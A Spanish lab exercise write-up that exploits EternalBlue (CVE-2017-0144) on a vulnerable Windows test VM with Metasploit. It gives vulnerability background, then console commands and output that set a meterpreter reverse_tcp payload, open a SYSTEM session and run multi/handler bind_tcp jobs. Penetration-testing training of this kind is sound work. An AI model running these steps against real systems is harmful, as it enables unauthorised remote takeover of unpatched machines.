

## EJERCICIOS METASPLOIT AVANZADO

### Prerequisitos

- Kali linux
- Windowsploitable

### Ejercicio 1 - OSINT y Metasploit

#### Vulnerabilidad: CVE-2017-0144 (EternalBlue)

##### - Ficha de la vulnerabilidad

##### ¿A qué software afecta?

Afecta a sistemas operativos Windows XP, Windows Vista y Windows 7 sin actualizar

##### ¿Qué es ese software?

EternalBlue aprovecha una vulnerabilidad en la implementación del protocolo Server Message Block (SMB) de Microsoft. Esta vulnerabilidad, denotada como CVE-2017-0144, se debe a que la versión 1 del servidor SMB (SMBv1) acepta en varias versiones de Microsoft Windows paquetes específicos de atacantes remotos, permitiéndoles ejecutar código en el ordenador en cuestión.

La actualización de seguridad de Windows del 14 de marzo de 2017 resolvió el problema a través del parche de seguridad MS17-010, para todas las versiones de Windows que en ese momento eran mantenidas por la compañía: Windows Vista, Windows 7, Windows 8.1, Windows 10, Windows Server 2008, Windows Server 2012, y Windows Server 2016.1112 Las versiones antiguas, como Windows XP, Windows 8, o Windows Server 2003, no han recibido dicho parche. (La extensión del periodo de mantenimiento para Windows XP había acabado hace tres años, el 8 de abril de 2014, y el de Windows Server el 14 de julio de 2015).1314 Microsoft recientemente liberó el parche para Windows XP y Server 2003.15

Por diversos motivos, muchos usuarios de Windows no habían instalado MS17-010 cuando, dos meses más tarde, el 12 de mayo de 2017, se produjo el ataque WannaCry que empleaba la vulnerabilidad EternalBlue. El 13 de mayo de 2017, un día después del ataque, Microsoft aportó la actualización de seguridad para Windows XP, Windows 8, y Windows Server 2003.

##### Descripción de la vulnerabilidad.

El servidor SMBv1 en Microsoft Windows Vista SP2; Windows Server 2008 SP2 y R2 SP1; Windows 7 SP1; Windows 8.1; Windows Server 2012 Gold y R2; Windows RT 8.1; y Windows 10 Gold, 1511 y 1607; y Windows Server 2016 permite a los atacantes remotos ejecutar código arbitrario a través de paquetes manipulados, también conocido como "vulnerabilidad de ejecución remota de código SMB de Windows".

Existe una vulnerabilidad de ejecución remota de código en la forma en que el servicio Microsoft Server Message Block 1.0 (SMBv1) maneja ciertas solicitudes. Un atacante que explotara con éxito la vulnerabilidad podría obtener la ejecución del código en el servidor de destino.

#### Versiones de software afectadas.

El servidor SMBv1 en Microsoft Windows Vista SP2; Windows Server 2008 SP2 y R2 SP1; Windows 7 SP1; Windows 8.1; Windows Server 2012 Gold y R2; Windows RT 8.1; y Windows 10 Gold, 1511 y 1607; y Windows Server 2016.

#### Puertos que lo utilizan.

Puerto 445

#### Módulos de metasploit relacionados.

Auxiliary, payload

- Explotar la vulnerabilidad:

```
Nmap scan report for 10.0.2.101
Host is up (0.00012s latency).
Not shown: 987 closed tcp ports (conn-refused)
PORT      STATE SERVICE          VERSION
135/tcp    open  msrpc            Microsoft Windows RPC
139/tcp    open  netbios-ssn      Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds     Microsoft Windows 7 - 10 microsoft-ds (workgroup: EMPRESA)
554/tcp    open  rtsp?
2869/tcp   open  http             Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
3389/tcp   open  ssl/ms-wbt-server?
10243/tcp  open  http             Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49152/tcp  open  msrpc            Microsoft Windows RPC
49153/tcp  open  msrpc            Microsoft Windows RPC
49154/tcp  open  msrpc            Microsoft Windows RPC
49155/tcp  open  msrpc            Microsoft Windows RPC
49156/tcp  open  msrpc            Microsoft Windows RPC
49158/tcp  open  msrpc            Microsoft Windows RPC
Service Info: Host: HETEAM; OS: Windows; CPE: cpe:/o:microsoft:windows
```

🔍 Buscar en Metasploit el exploit correspondiente.

```
[*] Starting persistent handler(s) ...
msf6 > search cve:2017-0144

Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/windows/smb/ms17_010_eternalblue	2017-03-14	average	Yes	MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1	auxiliary/scanner/smb/smb_ms17_010		normal	No	MS17-010 SMB RCE Detection
2	exploit/windows/smb/smb_doublepulsar_rce	2017-04-14	great	Yes	SMB DOUBLEPULSAR Remote Code Execution

Interact with a module by name or index. For example `info 2`, `use 2` or `use exploit/windows/smb/smb_doublepulsar_rce`

Usamos el 0

```

msf6 exploit(windows/smb/ms17_010_eternalblue) > info
Name: MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
Module: exploit/windows/smb/ms17_010_eternalblue
Platform: Windows
Arch: x64
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Average
Disclosed: 2017-03-14
Provided by:
Equation Group
Shadow Brokers
Sean Dillon <sean.dillon@risksense.com>
Dylan Davis <dylan.davis@risksense.com>
thelightcosine
wvu <wvu@metasploit.com>
agalway-r7
cdlafuente-r7
cdlafuente-r7
agalway-r7

Available targets:
Id  Name
--  --
0   Automatic Target
1   Windows 7
2   Windows Embedded Standard 7
3   Windows Server 2008 R2
4   Windows 8
5   Windows 8.1
6   Windows Server 2012
7   Windows 10 Pro
8   Windows 10 Enterprise Evaluation

```

Module options (exploit/windows/smb/ms17\_010\_eternalblue):


Name	Current Setting	Required	Description
RHOSTS	10.0.2.101	yes	The target host(s), see <a href="https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit">https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit</a>
RPORT	445	yes	The target port (TCP)
SMBDomain		no	(Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
SMBPass		no	(Optional) The password for the specified username
SMBUser		no	(Optional) The username to authenticate as
VERIFY_ARCH	true	yes	Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
VERIFY_TARGET	true	yes	Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.

Payload options (windows/x64/meterpreter/reverse\_tcp):

Name	Current Setting	Required	Description
EXITFUNC	thread	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST	10.0.2.15	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
0	Automatic Target

 Elegir payload meterpreter.

30	payload/windows/x64/meterpreter/reverse_tcp	normal	No	Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
----	---	--------	----	--

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload payload/windows/x64/meterpreter/reverse_tcp
[-] Unknown datastore option: payload. Did you mean PAYLOAD?
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD payload/windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
```

## Explorarlo usando Metasploit.

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
[*] Started reverse TCP handler on 10.0.2.15:4444 in 129.20 seconds
[*] 10.0.2.101:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.0.2.101:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.0.2.101:445 - Scanned 1 of 1 hosts (100% complete)
[+] 10.0.2.101:445 - The target is vulnerable.
[*] 10.0.2.101:445 - Connecting to target for exploitation.
[+] 10.0.2.101:445 - Connection established for exploitation.
[+] 10.0.2.101:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.0.2.101:445 - CORE raw buffer dump (42 bytes)
[*] 10.0.2.101:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.0.2.101:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.0.2.101:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.0.2.101:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.0.2.101:445 - Trying exploit with 12 Groom Allocations.
[*] 10.0.2.101:445 - Sending all but last fragment of exploit packet
[*] 10.0.2.101:445 - Starting non-paged pool grooming
[+] 10.0.2.101:445 - Sending SMBv2 buffers
[+] 10.0.2.101:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.0.2.101:445 - Sending final SMBv2 buffers.
[*] 10.0.2.101:445 - Sending last fragment of exploit packet!
[*] 10.0.2.101:445 - Receiving response from exploit packet
[+] 10.0.2.101:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.0.2.101:445 - Sending egg to corrupted connection.
[*] 10.0.2.101:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to 10.0.2.101
[+] 10.0.2.101:445 - =====
[+] 10.0.2.101:445 - -----WIN-----
[+] 10.0.2.101:445 - =====
[*] Meterpreter session 1 opened (10.0.2.15:4444 → 10.0.2.101:49169) at 2023-01-20 02:50:35 +0100

meterpreter > |
```

🚩 Dejar la sesión en background.

```
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(windows/smb/ms17_010_eternalblue) > █
```

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions
```

Active sessions

<u>Id</u>	<u>Name</u>	<u>Type</u>	<u>Information</u>	<u>Connection</u>
1		meterpreter x64/windows	NT AUTHORITY\SYSTEM @ HETEA	10.0.2.15:4444 → 10.0.2.101:49169 (10.0.2.101)

🚩 Usar módulo exploit/multi/handler

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > search exploit/multi/handler
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/linux/local/apt_package_manager_persistence	1999-03-09	excellent	No	APT Package Manager Persistence
1	auxiliary/scanner/http/apache_mod_cgi_bash_env	2014-09-24	normal	Yes	Apache mod_cgi Bash Environment Variable Injection (Shellshock) Scanner
2	exploit/linux/local/bash_profile_persistence	1989-06-08	normal	No	Bash Profile Persistence
3	exploit/linux/local/desktop_privilege_escalation	2014-08-07	excellent	Yes	Desktop Linux Password Stealer and Privilege Escalation
4	exploit/multi/handler		manual	No	Generic Payload Handler
5	exploit/windows/mssql/mssql_linkcrawler	2000-01-01	great	No	Microsoft SQL Server Database Link Crawling Command Execution
6	exploit/windows/browser/persits_xupload_traversal	2009-09-29	excellent	No	Persits XUpload ActiveX MakeHttpRequest Directory Traversal
7	exploit/linux/local/yum_package_manager_persistence	2003-12-17	excellent	No	Yum Package Manager Persistence

Interact with a module by name or index. For example `info 7`, `use 7` or `use exploit/linux/local/yum_package_manager_persistence`

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > use 4
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > █
```

```

msf6 exploit(windows/smb/ms17_010_eternalblue) > use 4
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > info
Name: Generic Payload Handler
Module: exploit/multi/handler
Platform: Android, Apple_iOS, BSD, Java, JavaScript, Linux, OSX, NodeJS, PHP, Python, Ruby, Solaris, Unix, Windows, Mainframe, Multi
Arch: x86, x86_64, x64, mips, mipsle, mipsbe, mips64, mips64le, ppc, ppc500v2, ppc64, ppc64le, cbea, cbea64, sparc, sparc64, armle, armbe, aarch64, cmd, php, tty, java, ruby, dalvik, python, nodejs, firefox, zarch, r
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Manual

Provided by:
hdm <x@hdm.io>
bcook-r7

Available targets:
Id  Name
--  ---
0   Wildcard Target

Check supported:
No

Payload information:
Space: 10000000
Avoid: 0 characters

Description:
This module is a stub that provides all of the features of the
Metasploit payload system to exploits that have been launched
outside of the framework.

View the full module info with the info -d command.

```

```

msf6 exploit(multi/handler) > set LHOST 10.0.2.15
LHOST => 10.0.2.15
msf6 exploit(multi/handler) > options

Module options (exploit/multi/handler):

  Name  Current Setting  Required  Description
  ---  -
  LHOST  10.0.2.15        yes       The listen address (an interface may be specified)
  LPORT  4444              yes       The listen port

Payload options (generic/shell_reverse_tcp):

  Name  Current Setting  Required  Description
  ---  -
  LHOST  10.0.2.15        yes       The listen address (an interface may be specified)
  LPORT  4444              yes       The listen port

Exploit target:

Id  Name
--  ---
0   Wildcard Target

View the full module info with the info, or info -d command.

```



🚩 Elegir un segundo payload.

```
msf6 exploit(multi/handler) > set payload payload/windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
```

```
msf6 exploit(multi/handler) > options
```

Module options (exploit/multi/handler):

Name	Current Setting	Required	Description
------	-----------------	----------	-------------

Payload options (windows/meterpreter/bind\_tcp):

Name	Current Setting	Required	Description
EXITFUNC	process	yes	Exit technique (Accepted: '', seh, thread, process, none)
LPORT	4444	yes	The listen port
RHOST	10.0.2.101	no	The target address

Exploit target:

Id	Name
0	Wildcard Target

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/handler) >
[*] Started bind TCP handler against 10.0.2.101:4444
```

## Elegir opciones avanzadas.

### Jobs

<u>Id</u>	<u>Name</u>	<u>Payload</u>	<u>Payload opts</u>
--			
0	Exploit: multi/handler	windows/x64/meterpreter/bind_tcp	

```
msf6 exploit(multi/handler) > show advanced 195432 ESTABLISHED
```

Module advanced options (exploit/multi/handler):

<u>Name</u>	<u>Current Setting</u>	<u>Required</u>	<u>Description</u>
ContextInformationFile		no	The information file that contains context information
DisablePayloadHandler	false	no	Disable the handler code for the selected payload
EnableContextEncoding	false	no	Use transient context when encoding payloads
ExitOnSession	true	yes	Return from the exploit after a session has been created
ListenerTimeout	0	no	The maximum number of seconds to wait for new sessions
VERBOSE	false	no	Enable detailed status messages
WORKSPACE		no	Specify the workspace for this module
WfsDelay	2	no	Additional delay in seconds to wait for a session

Payload advanced options (windows/x64/meterpreter/bind\_tcp):

<u>Name</u>	<u>Current Setting</u>	<u>Required</u>	<u>Description</u>
AutoLoadStdapi	true	yes	Automatically load the Stdapi extension
AutoRunScript		no	A script to run automatically on session creation.
AutoSystemInfo	true	yes	Automatically capture system information on initialization.
AutoUnhookProcess	false	yes	Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout	30	no	Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding	false	no	Encode the second stage payload
EnableUnicodeEncoding	false	yes	Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert		no	Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript		no	An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugBuild	false	no	Use a debug version of Meterpreter
MeterpreterDebugLogging		no	The Meterpreter debug logging configuration, see <a href="https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Debugging-Meterpreter-Sessions">https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Debugging-Meterpreter-Sessions</a>
PayloadProcessCommandLine		no	The displayed command line that will be used by the payload
PayloadUUIDName		no	A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw		no	A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed		no	A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking	false	yes	Whether or not to automatically register generated UUIDs
PingbackRetries	0	yes	How many additional successful pingbacks
PingbackSleep	30	yes	Time (in seconds) to sleep between pingbacks
PrependMigrate	false	yes	Spawns and runs shellcode in new process
PrependMigrateProc		no	Process to spawn and run shellcode in
SessionCommunicationTimeout	300	no	The number of seconds of no activity before this session should be killed
SessionExpirationTimeout	604800	no	The number of seconds before this session should be forcibly shut down
SessionRetryTotal	3600	no	Number of seconds try reconnecting for on network failure
SessionRetryWait	10	no	Number of seconds to wait between reconnect attempts
StageEncoder		no	Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters		no	Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback	true	no	Fallback to no encoding if the selected StageEncoder is not compatible
VERBOSE	false	no	Enable detailed status messages
WORKSPACE		no	Specify the workspace for this module

View the full module info with the `info`, or `info -d` command.

Module advanced options (exploit/multi/handler):

Name	Current Setting	Required	Description
ContextInformationFile		no	The information file that contains context information
DisablePayloadHandler	false	no	Disable the handler code for the selected payload
EnableContextEncoding	false	no	Use transient context when encoding payloads
ExitOnSession	false	yes	Return from the exploit after a session has been created
ListenerTimeout	0	no	The maximum number of seconds to wait for new sessions
VERBOSE	false	no	Enable detailed status messages
WORKSPACE		no	Specify the workspace for this module
WfsDelay	2	no	Additional delay in seconds to wait for a session

Payload advanced options (windows/x64/meterpreter/bind\_tcp):

Name	Current Setting	Required	Description
AutoLoadStdapi	true	yes	Automatically load the Stdapi extension
AutoRunScript		no	A script to run automatically on session creation.
AutoSystemInfo	true	yes	Automatically capture system information on initialization.
AutoUnhookProcess	false	yes	Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout	30	no	Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding	false	no	Encode the second stage payload
EnableUnicodeEncoding	false	yes	Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert		no	Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript		no	An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugBuild	false	no	Use a debug version of Meterpreter
MeterpreterDebugLogging		no	The Meterpreter debug logging configuration, see <a href="https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Debugging-Meterpreter-Sessions">https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Debugging-Meterpreter-Sessions</a>
PayloadProcessCommandLine		no	The displayed command line that will be used by the payload
PayloadUUIDName		no	A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw		no	A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed		no	A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking	false	yes	Whether or not to automatically register generated UUIDs
PingbackRetries	0	yes	How many additional successful pingbacks
PingbackSleep	30	yes	Time (in seconds) to sleep between pingbacks
PrependMigrate	false	yes	Spawns and runs shellcode in new process
PrependMigrateProc		no	Process to spawn and run shellcode in
SessionCommunicationTimeout	300	no	The number of seconds of no activity before this session should be killed
SessionExpirationTimeout	604800	no	The number of seconds before this session should be forcibly shut down
SessionRetryTotal	3600	no	Number of seconds try reconnecting for on network failure
SessionRetryWait	10	no	Number of seconds to wait between reconnect attempts
StageEncoder		no	Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters		no	Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback	true	no	Fallback to no encoding if the selected StageEncoder is not compatible
VERBOSE	false	no	Enable detailed status messages
WORKSPACE		no	Specify the workspace for this module

View the full module info with the `info`, or `info -d` command.

## 🚩 Explotarlo metiendolo en un job

```
msf6 exploit(multi/handler) > run -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/handler) >
[*] Started bind TCP handler against 10.0.2.101:4444
```

```
msf6 exploit(multi/handler) > jobs
```

Jobs

Id	Name	Payload	Payload opts
0	Exploit: multi/handler	windows/x64/meterpreter/bind_tcp	
1	Exploit: multi/handler	windows/x64/meterpreter/bind_tcp	

Kali se encuentra escuchando para cuando alguien clickee

```
(veronica@kali)-[~] 10.0.2.101
$ netstat -antp (2s latency)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:5432          0.0.0.0:*                LISTEN      -
tcp        0      0 127.0.0.1:33963        0.0.0.0:*                LISTEN      -
tcp        0      0 10.0.2.15:4444         0.0.0.0:*                LISTEN      -
tcp        0      0 10.0.2.15:4444         10.0.2.101:49169        ESTABLISHED -
tcp6       0      0 :::1:5432              :::*                    LISTEN      -
tcp6       0      0 :::1:52494             :::1:5432              ESTABLISHED -
tcp6       0      0 :::1:5432              :::1:43948             ESTABLISHED -
tcp6       0      0 :::1:5432              :::1:51408             ESTABLISHED -
tcp6       0      0 :::1:5432              :::1:52494             ESTABLISHED -
tcp6       0      0 :::1:5432              :::1:45284             ESTABLISHED -
tcp6       0      0 :::1:43948             :::1:5432              ESTABLISHED -
tcp6       0      0 :::1:51408             :::1:5432              ESTABLISHED -
tcp6       0      0 :::1:45284             :::1:5432              ESTABLISHED -
```

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/>.